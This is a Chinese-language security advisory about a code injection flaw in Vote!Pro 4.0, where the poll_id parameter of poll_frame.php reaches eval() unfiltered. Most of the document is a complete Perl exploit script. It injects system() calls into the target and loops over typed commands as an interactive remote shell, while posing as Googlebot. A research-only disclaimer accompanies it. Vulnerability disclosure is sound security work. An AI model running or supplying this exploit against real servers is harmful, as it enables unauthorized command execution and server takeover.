|
受影响系统: Vote! Pro Vote! Pro 4.0 描述: -------------------------------------------------------------------------------- Vote!Pro是一个可以自定义的在线投票和调查程序。
Vote!Pro处理有用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。
Vote!Pro的poll_frame.php文件没有正确地过滤eval()调用所使用的poll_id参数,允许攻击者通过提交特制的参数值注入并执行任意PHP代码。
<*来源:r0ut3r (writ3r@gmail.com) 链接:http://secunia.com/advisories/23834/ *>
测试方法: --------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
################################################################################################# # r0ut3r Presents... # # # # Another r0ut3r discovery! # # writ3r [at] gmail.com # # # # Vote-Pro Code Injection 0day Exploit # ################################################################################################# # Software: Vote-Pro 4.0 # # # # Vendor: http://www.vote-pro.com/ # # # # Released: 2007/01/23 # # # # Discovered & Exploit By: r0ut3r (writ3r [at] gmail.com) # # # # Note: The information provided in this document is for Vote-Pro administrator # # testing purposes only! # #################################################################################################
use IO::Socket;
$port = "80"; # connection port $target = shift; # vote-pro.com $folder = shift; # /votepro/
sub Header() { print q {Vote-Pro Code Injection Exploit - writ3r [at] gmail.com ------------------------------------------------------- }; }
sub Usage() { print q { Usage: votecmd.pl [target] [directory] Example: votecmd.pl vote-pro.com /votepro/ }; exit(); }
Header();
if (!$target || !$folder) { Usage(); }
print "[+] Connecting...\n"; $cmd = "dir"; while ($cmd !~ "exit") { $xpack = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $target, PeerPort => $port) || die "[-] Failed to connect on exploit attempt. Exiting...\r\n"; print $xpack "GET ".$folder."poll_frame.php?poll_id=hyphy;system($_GET[com]);&com=".substr($cmd, 0, -1)."; HTTP/1.1\n"; print $xpack "Host: $target\n"; print $xpack "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\n"; print $xpack "Accept: text/html\n"; print $xpack "Connection: keep-alive\n\n";
print "[cmd]\$ "; $cmd = <STDIN>; $cmd =~ s/ /%20/g; }
print "[!] Connection to host lost...\n";
建议: -------------------------------------------------------------------------------- 厂商补丁:
Vote! Pro --------- 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.vote-pro.com/
|